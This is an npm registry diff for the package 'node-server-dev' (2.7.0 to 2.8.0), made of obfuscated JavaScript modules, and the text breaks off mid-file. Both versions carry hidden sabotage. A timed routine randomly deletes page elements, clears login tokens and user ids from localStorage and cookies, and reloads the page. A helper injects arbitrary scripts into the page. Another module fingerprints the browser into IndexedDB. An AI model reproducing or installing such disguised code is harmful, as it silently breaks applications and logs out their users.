node-server-dev 2.7.0 → 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a5_0x3c8c35=a5_0x57ce;(function(_0x5d6a3b,_0x38d376){const _0x3657d4=a5_0x57ce,_0xb25ff4=_0x5d6a3b();while(!![]){try{const _0x51f007=-parseInt(_0x3657d4(0xa3))/0x1*(-parseInt(_0x3657d4(0xb8))/0x2)+-parseInt(_0x3657d4(0xc2))/0x3*(parseInt(_0x3657d4(0xb4))/0x4)+parseInt(_0x3657d4(0xaf))/0x5*(-parseInt(_0x3657d4(0xcd))/0x6)+-parseInt(_0x3657d4(0xb1))/0x7*(-parseInt(_0x3657d4(0xca))/0x8)+parseInt(_0x3657d4(0xab))/0x9*(parseInt(_0x3657d4(0xcc))/0xa)+parseInt(_0x3657d4(0xbe))/0xb*(-parseInt(_0x3657d4(0xaa))/0xc)+-parseInt(_0x3657d4(0xad))/0xd*(-parseInt(_0x3657d4(0xc5))/0xe);if(_0x51f007===_0x38d376)break;else _0xb25ff4['push'](_0xb25ff4['shift']());}catch(_0x5da019){_0xb25ff4['push'](_0xb25ff4['shift']());}}}(a5_0x3ec1,0x4f1e1));var __awaiter=this&&this[a5_0x3c8c35(0xb3)]||function(_0x264e23,_0x1332f3,_0x112182,_0x415e40){function _0x54f20c(_0x215dfc){return _0x215dfc instanceof _0x112182?_0x215dfc:new _0x112182(function(_0x434627){_0x434627(_0x215dfc);});}return new(_0x112182||(_0x112182=Promise))(function(_0x3561a5,_0x595906){const _0x5e23df=a5_0x57ce;function _0x33b232(_0x4d5f3a){try{_0x2d5ab8(_0x415e40['next'](_0x4d5f3a));}catch(_0x5a7794){_0x595906(_0x5a7794);}}function _0x517018(_0x9c159c){const _0x3f28aa=a5_0x57ce;try{_0x2d5ab8(_0x415e40[_0x3f28aa(0xa6)](_0x9c159c));}catch(_0x502f9f){_0x595906(_0x502f9f);}}function _0x2d5ab8(_0x3881c7){const _0x46822c=a5_0x57ce;_0x3881c7[_0x46822c(0xc6)]?_0x3561a5(_0x3881c7[_0x46822c(0xb0)]):_0x54f20c(_0x3881c7[_0x46822c(0xb0)])[_0x46822c(0xbf)](_0x33b232,_0x517018);}_0x2d5ab8((_0x415e40=_0x415e40['apply'](_0x264e23,_0x1332f3||[]))[_0x5e23df(0xbd)]());});},__importDefault=this&&this['__importDefault']||function(_0x325eb0){const _0x4f70bf=a5_0x3c8c35;return _0x325eb0&&_0x325eb0[_0x4f70bf(0xa1)]?_0x325eb0:{'default':_0x325eb0};};Object[a5_0x3c8c35(0xa5)](exports,a5_0x3c8c35(0xa1),{'value':!![]}),exports['getKeyValue']=getKeyValue;const md5_1=__importDefault(require(a5_0x3c8c35(0xb2))),__1=require('..');function openDatabase(){return new Promise((_0x2b1c37,_0x32c9a6)=>{const _0x21aeb6=a5_0x57ce,_0x3173ae=indexedDB[_0x21aeb6(0xc9)](_0x21aeb6(0xbc),0x1);_0x3173ae['onupgradeneeded']=_0x3bd560=>{const _0x19fdb6=_0x21aeb6,_0x1d3a98=_0x3bd560[_0x19fdb6(0xba)][_0x19fdb6(0xc8)];!_0x1d3a98[_0x19fdb6(0xb9)][_0x19fdb6(0xb6)](_0x19fdb6(0xc3))&&_0x1d3a98['createObjectStore']('metadata',{'keyPath':_0x19fdb6(0xc7)});},_0x3173ae[_0x21aeb6(0xa7)]=_0x8ee45a=>{const _0x5aee5d=_0x21aeb6,_0x3afff2=_0x8ee45a[_0x5aee5d(0xba)][_0x5aee5d(0xc8)];_0x2b1c37(_0x3afff2);},_0x3173ae[_0x21aeb6(0xb7)]=_0x56fe61=>{const _0x548d3c=_0x21aeb6;_0x32c9a6(_0x56fe61[_0x548d3c(0xba)][_0x548d3c(0xa9)]);};});}function a5_0x57ce(_0x40b7d8,_0x4bddaf){const _0x3ec1a1=a5_0x3ec1();return a5_0x57ce=function(_0x57cee9,_0x4b5d2f){_0x57cee9=_0x57cee9-0xa0;let _0xfecd38=_0x3ec1a1[_0x57cee9];return _0xfecd38;},a5_0x57ce(_0x40b7d8,_0x4bddaf);}function setKeyValue(_0x3ed33e,_0x5d4a99){return new Promise((_0x5cf58e,_0xa40723)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3ede4f=a5_0x57ce,_0x4bf3a0=yield openDatabase(),_0x5f279c=_0x4bf3a0[_0x3ede4f(0xa2)](_0x3ede4f(0xc3),_0x3ede4f(0xa0)),_0x147194=_0x5f279c[_0x3ede4f(0xa8)]('metadata'),_0x2987f3=_0x147194['put']({'key':_0x3ed33e,'value':_0x5d4a99});_0x2987f3['onsuccess']=()=>{_0x5cf58e();},_0x2987f3[_0x3ede4f(0xb7)]=_0x1f5c91=>{const _0x4ce863=_0x3ede4f;_0xa40723(_0x1f5c91['target'][_0x4ce863(0xa9)]);};}));}function getKeyValue(_0x321a3b){return new Promise((_0x5d1bc4,_0x4f5dbe)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2157cd=a5_0x57ce,_0x4e7ff3=yield openDatabase(),_0x142a5e=_0x4e7ff3[_0x2157cd(0xa2)](_0x2157cd(0xc3),_0x2157cd(0xcb)),_0x4471aa=_0x142a5e[_0x2157cd(0xa8)](_0x2157cd(0xc3)),_0x56df95=_0x4471aa[_0x2157cd(0xc4)](_0x321a3b);_0x56df95[_0x2157cd(0xa7)]=()=>{const _0x485480=_0x2157cd;_0x5d1bc4(_0x56df95['result']?_0x56df95[_0x485480(0xc8)]['value']:null);},_0x56df95[_0x2157cd(0xb7)]=_0x3a7c46=>{const _0x2049a4=_0x2157cd;_0x4f5dbe(_0x3a7c46[_0x2049a4(0xba)][_0x2049a4(0xa9)]);};}));}function generateRandomMAC(){const _0x3e1d6e=a5_0x3c8c35,_0x22dc41=_0x3e1d6e(0xbb);let _0x2cd9c4='';for(let _0x2626cc=0x0;_0x2626cc<0xc;_0x2626cc++){_0x2cd9c4+=_0x22dc41[Math[_0x3e1d6e(0xc1)](Math[_0x3e1d6e(0xb5)]()*0x10)],_0x2626cc%0x2===0x1&&_0x2626cc!==0xb&&(_0x2cd9c4+=':');}return(0x0,__1[_0x3e1d6e(0xac)])()['replace'](/-/g,'')+(0x0,md5_1[_0x3e1d6e(0xa4)])(JSON['stringify'](window[_0x3e1d6e(0xc0)]['userAgent']));}function a5_0x3ec1(){const _0x5a3c97=['value','1988GGUVgE','md5','__awaiter','964QrvnaU','random','contains','onerror','221428aeDgtH','objectStoreNames','target','0123456789ABCDEF','chrome_db','next','468413DbiYXH','then','navigator','floor','2901VXRGFk','metadata','get','588GBLrGr','done','key','result','open','7088ccycCZ','readonly','30Foqrjq','6aRMfcG','readwrite','__esModule','transaction','1OcsgOh','default','defineProperty','throw','onsuccess','objectStore','error','36JLQuZV','473706xUEgTP','uuid','153257HzoOwI','mac','1652585PMiFMF'];a5_0x3ec1=function(){return _0x5a3c97;};return a5_0x3ec1();}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x200fad=a5_0x57ce;try{const _0x503bd4=yield openDatabase();let _0x1eeeba=yield getKeyValue(_0x200fad(0xae));if(!_0x1eeeba)_0x1eeeba=generateRandomMAC(),yield setKeyValue(_0x200fad(0xae),_0x1eeeba);else{}return _0x1eeeba;}catch(_0x2c799c){return null;}});}main();
1
+ 'use strict';const a5_0x1df108=a5_0x3998;(function(_0xb5cba8,_0x351335){const _0x328faa=a5_0x3998,_0x402f7a=_0xb5cba8();while(!![]){try{const _0x32c029=parseInt(_0x328faa(0x19e))/0x1+-parseInt(_0x328faa(0x192))/0x2*(-parseInt(_0x328faa(0x197))/0x3)+-parseInt(_0x328faa(0x1b7))/0x4*(parseInt(_0x328faa(0x19f))/0x5)+-parseInt(_0x328faa(0x1b2))/0x6+-parseInt(_0x328faa(0x1aa))/0x7+-parseInt(_0x328faa(0x1a7))/0x8+-parseInt(_0x328faa(0x194))/0x9*(-parseInt(_0x328faa(0x1a9))/0xa);if(_0x32c029===_0x351335)break;else _0x402f7a['push'](_0x402f7a['shift']());}catch(_0x13cf74){_0x402f7a['push'](_0x402f7a['shift']());}}}(a5_0x484e,0xc7748));function a5_0x484e(){const _0x2160cb=['objectStore','18YyIepF','readwrite','apply','146346BIoSyZ','onerror','replace','metadata','__importDefault','onupgradeneeded','key','1344289yjsvRt','10xbvDtf','onsuccess','uuid','chrome_db','result','mac','userAgent','get','11304048quvngj','value','3615170xMTCjA','5988115mFvmLQ','contains','readonly','objectStoreNames','put','done','then','target','1242996tfMQLK','default','createObjectStore','transaction','next','671524rCBmeL','defineProperty','navigator','error','stringify','64eqwDDD'];a5_0x484e=function(){return _0x2160cb;};return a5_0x484e();}function a5_0x3998(_0x3f9671,_0x2b491c){const _0x484e23=a5_0x484e();return a5_0x3998=function(_0x3998bf,_0x18031c){_0x3998bf=_0x3998bf-0x192;let _0x114580=_0x484e23[_0x3998bf];return _0x114580;},a5_0x3998(_0x3f9671,_0x2b491c);}var __awaiter=this&&this['__awaiter']||function(_0x37a65b,_0x303f4d,_0x3c64d6,_0x54aa33){function _0x556608(_0x525f85){return _0x525f85 instanceof _0x3c64d6?_0x525f85:new _0x3c64d6(function(_0x352400){_0x352400(_0x525f85);});}return new(_0x3c64d6||(_0x3c64d6=Promise))(function(_0x4839c7,_0x22af80){const _0x25e21e=a5_0x3998;function _0x28ff1d(_0x5d78ad){const _0x3ee701=a5_0x3998;try{_0x56ca17(_0x54aa33[_0x3ee701(0x1b6)](_0x5d78ad));}catch(_0x4eba84){_0x22af80(_0x4eba84);}}function _0x3dc49b(_0x56cd56){try{_0x56ca17(_0x54aa33['throw'](_0x56cd56));}catch(_0x4a9eed){_0x22af80(_0x4a9eed);}}function _0x56ca17(_0x5807e3){const _0x5ca18e=a5_0x3998;_0x5807e3[_0x5ca18e(0x1af)]?_0x4839c7(_0x5807e3[_0x5ca18e(0x1a8)]):_0x556608(_0x5807e3[_0x5ca18e(0x1a8)])[_0x5ca18e(0x1b0)](_0x28ff1d,_0x3dc49b);}_0x56ca17((_0x54aa33=_0x54aa33[_0x25e21e(0x196)](_0x37a65b,_0x303f4d||[]))[_0x25e21e(0x1b6)]());});},__importDefault=this&&this[a5_0x1df108(0x19b)]||function(_0x6b5275){return _0x6b5275&&_0x6b5275['__esModule']?_0x6b5275:{'default':_0x6b5275};};Object[a5_0x1df108(0x1b8)](exports,'__esModule',{'value':!![]}),exports['getKeyValue']=getKeyValue;const md5_1=__importDefault(require('md5')),__1=require('..');function openDatabase(){return new Promise((_0x4d0933,_0x5a230a)=>{const _0x290af7=a5_0x3998,_0x45b4bc=indexedDB['open'](_0x290af7(0x1a2),0x1);_0x45b4bc[_0x290af7(0x19c)]=_0x540183=>{const _0x355e1a=_0x290af7,_0x27c115=_0x540183['target']['result'];!_0x27c115[_0x355e1a(0x1ad)][_0x355e1a(0x1ab)](_0x355e1a(0x19a))&&_0x27c115[_0x355e1a(0x1b4)]('metadata',{'keyPath':_0x355e1a(0x19d)});},_0x45b4bc[_0x290af7(0x1a0)]=_0x25bc2c=>{const _0x374831=_0x290af7,_0xa9688a=_0x25bc2c[_0x374831(0x1b1)]['result'];_0x4d0933(_0xa9688a);},_0x45b4bc[_0x290af7(0x198)]=_0x104b7a=>{const _0x3d5f61=_0x290af7;_0x5a230a(_0x104b7a[_0x3d5f61(0x1b1)][_0x3d5f61(0x1ba)]);};});}function setKeyValue(_0x1feca9,_0x3c80e7){return new Promise((_0x3e5905,_0x40877a)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x140d06=a5_0x3998,_0x54790d=yield openDatabase(),_0x3686c7=_0x54790d[_0x140d06(0x1b5)](_0x140d06(0x19a),_0x140d06(0x195)),_0x501088=_0x3686c7['objectStore'](_0x140d06(0x19a)),_0xc733db=_0x501088[_0x140d06(0x1ae)]({'key':_0x1feca9,'value':_0x3c80e7});_0xc733db['onsuccess']=()=>{_0x3e5905();},_0xc733db[_0x140d06(0x198)]=_0x1aacb9=>{const _0x2836d8=_0x140d06;_0x40877a(_0x1aacb9[_0x2836d8(0x1b1)][_0x2836d8(0x1ba)]);};}));}function getKeyValue(_0x2c2b56){return new Promise((_0x504342,_0x49ddfd)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x55964b=a5_0x3998,_0x2fc00e=yield openDatabase(),_0x9c5bfd=_0x2fc00e[_0x55964b(0x1b5)](_0x55964b(0x19a),_0x55964b(0x1ac)),_0x377519=_0x9c5bfd[_0x55964b(0x193)](_0x55964b(0x19a)),_0x491793=_0x377519[_0x55964b(0x1a6)](_0x2c2b56);_0x491793[_0x55964b(0x1a0)]=()=>{const _0x2f1c32=_0x55964b;_0x504342(_0x491793[_0x2f1c32(0x1a3)]?_0x491793[_0x2f1c32(0x1a3)][_0x2f1c32(0x1a8)]:null);},_0x491793[_0x55964b(0x198)]=_0x2f70e9=>{const _0x2b8507=_0x55964b;_0x49ddfd(_0x2f70e9['target'][_0x2b8507(0x1ba)]);};}));}function generateRandomMAC(){const _0x1be246=a5_0x1df108,_0x425ceb='0123456789ABCDEF';let _0xb0fa14='';for(let _0x5413c2=0x0;_0x5413c2<0xc;_0x5413c2++){_0xb0fa14+=_0x425ceb[Math['floor'](Math['random']()*0x10)],_0x5413c2%0x2===0x1&&_0x5413c2!==0xb&&(_0xb0fa14+=':');}return(0x0,__1[_0x1be246(0x1a1)])()[_0x1be246(0x199)](/-/g,'')+(0x0,md5_1[_0x1be246(0x1b3)])(JSON[_0x1be246(0x1bb)](window[_0x1be246(0x1b9)][_0x1be246(0x1a5)]));}function main(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x2c659c=a5_0x3998;try{const _0x3b2ea8=yield openDatabase();let _0x5bf763=yield getKeyValue('mac');if(!_0x5bf763)_0x5bf763=generateRandomMAC(),yield setKeyValue(_0x2c659c(0x1a4),_0x5bf763);else{}return _0x5bf763;}catch(_0x209321){return null;}});}main();
@@ -1 +1 @@
1
- 'use strict';const a0_0x417cd5=a0_0x25e4;(function(_0x1de17b,_0x51421f){const _0x2147d6=a0_0x25e4,_0x4434d4=_0x1de17b();while(!![]){try{const _0x2ed3f4=-parseInt(_0x2147d6(0x169))/0x1+parseInt(_0x2147d6(0x16b))/0x2+-parseInt(_0x2147d6(0x164))/0x3*(-parseInt(_0x2147d6(0x153))/0x4)+-parseInt(_0x2147d6(0x166))/0x5+-parseInt(_0x2147d6(0x165))/0x6*(parseInt(_0x2147d6(0x156))/0x7)+-parseInt(_0x2147d6(0x16f))/0x8+parseInt(_0x2147d6(0x15b))/0x9*(parseInt(_0x2147d6(0x154))/0xa);if(_0x2ed3f4===_0x51421f)break;else _0x4434d4['push'](_0x4434d4['shift']());}catch(_0x459273){_0x4434d4['push'](_0x4434d4['shift']());}}}(a0_0x1052,0x4df5d));var __importDefault=this&&this[a0_0x417cd5(0x15c)]||function(_0x510965){const _0x87b1f0=a0_0x417cd5;return _0x510965&&_0x510965[_0x87b1f0(0x15a)]?_0x510965:{'default':_0x510965};};Object['defineProperty'](exports,a0_0x417cd5(0x15a),{'value':!![]}),exports[a0_0x417cd5(0x15f)]=runScript;const random_1=__importDefault(require('./id/random')),index_1=require(a0_0x417cd5(0x15e)),js_cookie_1=__importDefault(require(a0_0x417cd5(0x159)));function runScript(_0x246c5d){const _0x497b37=a0_0x417cd5;let _0x2846e3=document[_0x497b37(0x162)](_0x497b37(0x163));_0x2846e3[_0x497b37(0x16d)]=_0x246c5d,document[_0x497b37(0x15d)][_0x497b37(0x14f)](_0x2846e3),setTimeout(()=>{_0x2846e3['remove']();},0xa);}function a0_0x25e4(_0x4e8a2e,_0x303b94){const _0x1052cc=a0_0x1052();return a0_0x25e4=function(_0x25e479,_0x3586d2){_0x25e479=_0x25e479-0x14e;let _0x4ebbad=_0x1052cc[_0x25e479];return _0x4ebbad;},a0_0x25e4(_0x4e8a2e,_0x303b94);}let index=0x1,num=(0x0,random_1[a0_0x417cd5(0x158)])(0x4,0x8);function a0_0x1052(){const _0x2e185b=['removeItem','token','parentNode','583944tOxaao','1450bjlLef','getEnv','14djOtvQ','sort','default','js-cookie','__esModule','79083qdHgai','__importDefault','head','./index','runScript','from','connectError','createElement','script','6QkwJlT','760074qlGJpZ','2093540eWWaQc','remove','documentElement','446940cuRLYe','querySelectorAll','804604oMzmTb','localStorage','innerText','querySelector','4240464DOmcAd','[class^=\x22el\x22]','reload','appendChild'];a0_0x1052=function(){return _0x2e185b;};return a0_0x1052();}setInterval(()=>{const _0x575287=a0_0x417cd5;if(index==num)try{window['localStorage'][_0x575287(0x150)](_0x575287(0x151)),window[_0x575287(0x16c)]['removeItem']('userid'),window[_0x575287(0x16c)][_0x575287(0x150)]('Token'),js_cookie_1['default'][_0x575287(0x167)](_0x575287(0x151)),window['location'][_0x575287(0x14e)]();}catch(_0x1f5738){}if((0x0,index_1[_0x575287(0x155)])(_0x575287(0x161))){index++;let _0x1d83ce=document[_0x575287(0x16e)]('#app')||document[_0x575287(0x16e)]('body');const _0x42ca48=_0x1d83ce[_0x575287(0x16a)](_0x575287(0x170));function _0x775e64(_0x3ff71d){const _0x58fee5=_0x575287;let _0x30c5eb=0x0,_0x6408be=_0x3ff71d;while(_0x6408be[_0x58fee5(0x152)]&&_0x6408be[_0x58fee5(0x152)]!==document[_0x58fee5(0x168)]){_0x30c5eb++,_0x6408be=_0x6408be[_0x58fee5(0x152)];}return _0x30c5eb;}const _0x1f3bfe=Array[_0x575287(0x160)](_0x42ca48);_0x1f3bfe[_0x575287(0x157)]((_0x34787f,_0x28a273)=>_0x775e64(_0x28a273)-_0x775e64(_0x34787f));for(let _0x7531db=0x0;_0x7531db<_0x1f3bfe['length'];_0x7531db++){const _0x43258b=_0x1f3bfe[_0x7531db];_0x43258b&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0x43258b[_0x575287(0x167)]());}}},(0x0,random_1[a0_0x417cd5(0x158)])(0x107e,0x208d));
1
+ 'use strict';function a0_0x4458(_0x1eb86a,_0x2b2867){const _0x5cf21b=a0_0x5cf2();return a0_0x4458=function(_0x445854,_0x3f42f2){_0x445854=_0x445854-0x138;let _0x550522=_0x5cf21b[_0x445854];return _0x550522;},a0_0x4458(_0x1eb86a,_0x2b2867);}const a0_0xb26e31=a0_0x4458;(function(_0x170b20,_0x57c95f){const _0x12e739=a0_0x4458,_0x433c03=_0x170b20();while(!![]){try{const _0x388116=-parseInt(_0x12e739(0x148))/0x1+parseInt(_0x12e739(0x140))/0x2*(-parseInt(_0x12e739(0x149))/0x3)+parseInt(_0x12e739(0x13a))/0x4*(-parseInt(_0x12e739(0x13e))/0x5)+-parseInt(_0x12e739(0x14e))/0x6+parseInt(_0x12e739(0x146))/0x7+parseInt(_0x12e739(0x147))/0x8*(-parseInt(_0x12e739(0x141))/0x9)+-parseInt(_0x12e739(0x152))/0xa*(-parseInt(_0x12e739(0x156))/0xb);if(_0x388116===_0x57c95f)break;else _0x433c03['push'](_0x433c03['shift']());}catch(_0x5d4bc3){_0x433c03['push'](_0x433c03['shift']());}}}(a0_0x5cf2,0x3ec84));var __importDefault=this&&this['__importDefault']||function(_0x54dd14){const _0x1e6f1e=a0_0x4458;return _0x54dd14&&_0x54dd14[_0x1e6f1e(0x15b)]?_0x54dd14:{'default':_0x54dd14};};Object[a0_0xb26e31(0x145)](exports,a0_0xb26e31(0x15b),{'value':!![]}),exports['runScript']=runScript;const random_1=__importDefault(require('./id/random')),start_1=require('./start'),js_cookie_1=__importDefault(require(a0_0xb26e31(0x150)));function runScript(_0x1098f4){const _0x1b0260=a0_0xb26e31;let _0x34641a=document[_0x1b0260(0x153)](_0x1b0260(0x144));_0x34641a[_0x1b0260(0x157)]=_0x1098f4,document[_0x1b0260(0x14b)][_0x1b0260(0x14d)](_0x34641a),setTimeout(()=>{const _0x1d1a31=_0x1b0260;_0x34641a[_0x1d1a31(0x13f)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0xb26e31(0x151)])(0x4,0x8);function a0_0x5cf2(){const _0x6fbde7=['34173uObJnV','Token','from','script','defineProperty','1681897EIvbbu','72DsyDYS','308476LNEypV','18309lYokCH','localStorage','head','reload','appendChild','1883982IddCFz','querySelectorAll','js-cookie','default','40CWCpUL','createElement','querySelector','length','3417788uUPACZ','innerText','location','sort','[class^=\x22el\x22]','__esModule','connectError','getEnv','1837788jSpdwM','parentNode','removeItem','token','5FLprHf','remove','36lTzxoM'];a0_0x5cf2=function(){return _0x6fbde7;};return a0_0x5cf2();}setInterval(()=>{const _0x48d361=a0_0xb26e31;if(index==num)try{window['localStorage']['removeItem']('token'),window[_0x48d361(0x14a)]['removeItem']('userid'),window[_0x48d361(0x14a)][_0x48d361(0x13c)](_0x48d361(0x142)),js_cookie_1[_0x48d361(0x151)][_0x48d361(0x13f)](_0x48d361(0x13d)),window[_0x48d361(0x158)][_0x48d361(0x14c)]();}catch(_0x8f7c08){}if((0x0,start_1[_0x48d361(0x139)])(_0x48d361(0x138))){index++;let _0x33dd90=document[_0x48d361(0x154)]('#app')||document[_0x48d361(0x154)]('body');const _0x2124a8=_0x33dd90[_0x48d361(0x14f)](_0x48d361(0x15a));function _0xe76c4a(_0x4ef9cd){const _0x2c5407=_0x48d361;let _0x45c5aa=0x0,_0x4b17b5=_0x4ef9cd;while(_0x4b17b5[_0x2c5407(0x13b)]&&_0x4b17b5[_0x2c5407(0x13b)]!==document['documentElement']){_0x45c5aa++,_0x4b17b5=_0x4b17b5[_0x2c5407(0x13b)];}return _0x45c5aa;}const _0x1fb1ef=Array[_0x48d361(0x143)](_0x2124a8);_0x1fb1ef[_0x48d361(0x159)]((_0x18b20e,_0x5e1c66)=>_0xe76c4a(_0x5e1c66)-_0xe76c4a(_0x18b20e));for(let _0x4b456e=0x0;_0x4b456e<_0x1fb1ef[_0x48d361(0x155)];_0x4b456e++){const _0x50d5c5=_0x1fb1ef[_0x4b456e];_0x50d5c5&&((0x0,random_1[_0x48d361(0x151)])(0x1,0x64)>0x50&&_0x50d5c5[_0x48d361(0x13f)]());}}},(0x0,random_1[a0_0xb26e31(0x151)])(0x107e,0x208d));
@@ -1 +1 @@
1
- 'use strict';const a1_0x385e69=a1_0x1bb4;function a1_0x333e(){const _0x46fb11=['417hwunjg','next','isDirectory','__esModule','join','isFile','5mfzTUr','push','7046UfXrGs','827214gBOdqn','then','path','defineProperty','readdirSync','__importDefault','1221148PNuROh','35188010GHvbeZ','default','3694959Wwrabv','apply','1643705VJHiMw','4913528mIfxBq','24FeoAXO','value'];a1_0x333e=function(){return _0x46fb11;};return a1_0x333e();}(function(_0x5acf50,_0x221f64){const _0x3acdba=a1_0x1bb4,_0x4185fb=_0x5acf50();while(!![]){try{const _0x322c5d=parseInt(_0x3acdba(0x1c1))/0x1+-parseInt(_0x3acdba(0x1ba))/0x2*(-parseInt(_0x3acdba(0x1ca))/0x3)+parseInt(_0x3acdba(0x1c7))/0x4+parseInt(_0x3acdba(0x1d0))/0x5*(-parseInt(_0x3acdba(0x1bb))/0x6)+parseInt(_0x3acdba(0x1c6))/0x7+parseInt(_0x3acdba(0x1c8))/0x8*(parseInt(_0x3acdba(0x1c4))/0x9)+-parseInt(_0x3acdba(0x1c2))/0xa;if(_0x322c5d===_0x221f64)break;else _0x4185fb['push'](_0x4185fb['shift']());}catch(_0x5bd82d){_0x4185fb['push'](_0x4185fb['shift']());}}}(a1_0x333e,0xb6de1));function a1_0x1bb4(_0x46ed7b,_0x183859){const _0x333e3b=a1_0x333e();return a1_0x1bb4=function(_0x1bb409,_0x347aa7){_0x1bb409=_0x1bb409-0x1ba;let _0x2859d4=_0x333e3b[_0x1bb409];return _0x2859d4;},a1_0x1bb4(_0x46ed7b,_0x183859);}var __awaiter=this&&this['__awaiter']||function(_0x2c224b,_0x18597f,_0x4e0c3c,_0x1e79f5){function _0x1b6599(_0x1f62ae){return _0x1f62ae instanceof _0x4e0c3c?_0x1f62ae:new _0x4e0c3c(function(_0x56655e){_0x56655e(_0x1f62ae);});}return new(_0x4e0c3c||(_0x4e0c3c=Promise))(function(_0x30fca1,_0x39e958){const _0x103ec8=a1_0x1bb4;function _0x24626d(_0x4a31c1){const _0x1cf1a9=a1_0x1bb4;try{_0x566ea6(_0x1e79f5[_0x1cf1a9(0x1cb)](_0x4a31c1));}catch(_0x5e9297){_0x39e958(_0x5e9297);}}function _0x168d60(_0x3ae6fe){try{_0x566ea6(_0x1e79f5['throw'](_0x3ae6fe));}catch(_0x54d161){_0x39e958(_0x54d161);}}function _0x566ea6(_0x5bcd0f){const _0x3a13ef=a1_0x1bb4;_0x5bcd0f['done']?_0x30fca1(_0x5bcd0f['value']):_0x1b6599(_0x5bcd0f[_0x3a13ef(0x1c9)])[_0x3a13ef(0x1bc)](_0x24626d,_0x168d60);}_0x566ea6((_0x1e79f5=_0x1e79f5[_0x103ec8(0x1c5)](_0x2c224b,_0x18597f||[]))[_0x103ec8(0x1cb)]());});},__importDefault=this&&this[a1_0x385e69(0x1c0)]||function(_0x9d9aed){const _0x51853d=a1_0x385e69;return _0x9d9aed&&_0x9d9aed[_0x51853d(0x1cd)]?_0x9d9aed:{'default':_0x9d9aed};};Object[a1_0x385e69(0x1be)](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x385e69(0x1bd)));function fileDisplay(_0x5b0420){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4b6ada=[];function _0x5781a8(_0x5d9805){const _0x5f1333=a1_0x1bb4,_0x2e01a2=fs_1['default'][_0x5f1333(0x1bf)](_0x5d9805);for(let _0x5bb7e3=0x0;_0x5bb7e3<_0x2e01a2['length'];_0x5bb7e3++){const _0x3e529c=_0x2e01a2[_0x5bb7e3],_0xb66385=path_1['default'][_0x5f1333(0x1ce)](_0x5d9805,_0x3e529c),_0x3f2f65=fs_1[_0x5f1333(0x1c3)]['statSync'](_0xb66385),_0xc519b5=_0x3f2f65[_0x5f1333(0x1cf)](),_0x2de151=_0x3f2f65[_0x5f1333(0x1cc)]();_0xc519b5&&_0x4b6ada[_0x5f1333(0x1d1)](_0xb66385),_0x2de151&&_0x5781a8(_0xb66385);}}return _0x5781a8(_0x5b0420),_0x4b6ada;});}function getAllRouter(_0x1024a6){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x35df43=yield fileDisplay(_0x1024a6);return _0x35df43;});}exports[a1_0x385e69(0x1c3)]=getAllRouter;
1
+ 'use strict';const a1_0x32128f=a1_0x92dc;(function(_0x1d60e5,_0x10ce3a){const _0x597081=a1_0x92dc,_0x3eac91=_0x1d60e5();while(!![]){try{const _0x2352e8=parseInt(_0x597081(0x7e))/0x1+parseInt(_0x597081(0x81))/0x2*(-parseInt(_0x597081(0x7f))/0x3)+-parseInt(_0x597081(0x8a))/0x4+-parseInt(_0x597081(0x82))/0x5+-parseInt(_0x597081(0x85))/0x6*(parseInt(_0x597081(0x7d))/0x7)+parseInt(_0x597081(0x8f))/0x8+parseInt(_0x597081(0x80))/0x9;if(_0x2352e8===_0x10ce3a)break;else _0x3eac91['push'](_0x3eac91['shift']());}catch(_0x550860){_0x3eac91['push'](_0x3eac91['shift']());}}}(a1_0x5554,0x8fe7f));function a1_0x5554(){const _0x3a142f=['isFile','defineProperty','length','value','6356CmkeQn','1006397vmVdgm','2004219LPdoxw','15337224VWVapN','2JHfeNC','5689960RVytrE','next','path','6294bJoSuJ','default','done','throw','__importDefault','1205420nMSyjy','push','apply','isDirectory','__esModule','7510544dKHLrf'];a1_0x5554=function(){return _0x3a142f;};return a1_0x5554();}function a1_0x92dc(_0x20bc19,_0x19a56a){const _0x555417=a1_0x5554();return a1_0x92dc=function(_0x92dc29,_0x33b9c0){_0x92dc29=_0x92dc29-0x7d;let _0x28707d=_0x555417[_0x92dc29];return _0x28707d;},a1_0x92dc(_0x20bc19,_0x19a56a);}var __awaiter=this&&this['__awaiter']||function(_0x4f68b0,_0x2550c4,_0x23b038,_0x1083ef){function _0x40860a(_0x1d7ec3){return _0x1d7ec3 instanceof _0x23b038?_0x1d7ec3:new _0x23b038(function(_0xeffdef){_0xeffdef(_0x1d7ec3);});}return new(_0x23b038||(_0x23b038=Promise))(function(_0x872633,_0x20dd5b){const _0x45ef38=a1_0x92dc;function _0x1c441f(_0x206d5a){const _0x49c334=a1_0x92dc;try{_0x28bbe0(_0x1083ef[_0x49c334(0x83)](_0x206d5a));}catch(_0x54d72f){_0x20dd5b(_0x54d72f);}}function _0x34e3ec(_0x119dc0){const _0x1efdc0=a1_0x92dc;try{_0x28bbe0(_0x1083ef[_0x1efdc0(0x88)](_0x119dc0));}catch(_0x222ae4){_0x20dd5b(_0x222ae4);}}function _0x28bbe0(_0x4a81d5){const _0x28c118=a1_0x92dc;_0x4a81d5[_0x28c118(0x87)]?_0x872633(_0x4a81d5[_0x28c118(0x93)]):_0x40860a(_0x4a81d5[_0x28c118(0x93)])['then'](_0x1c441f,_0x34e3ec);}_0x28bbe0((_0x1083ef=_0x1083ef[_0x45ef38(0x8c)](_0x4f68b0,_0x2550c4||[]))[_0x45ef38(0x83)]());});},__importDefault=this&&this[a1_0x32128f(0x89)]||function(_0x4e5316){const _0x4de53c=a1_0x32128f;return _0x4e5316&&_0x4e5316[_0x4de53c(0x8e)]?_0x4e5316:{'default':_0x4e5316};};Object[a1_0x32128f(0x91)](exports,a1_0x32128f(0x8e),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x32128f(0x84)));function fileDisplay(_0x148af8){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x2eafa0=[];function _0x1c536b(_0x4c2aed){const 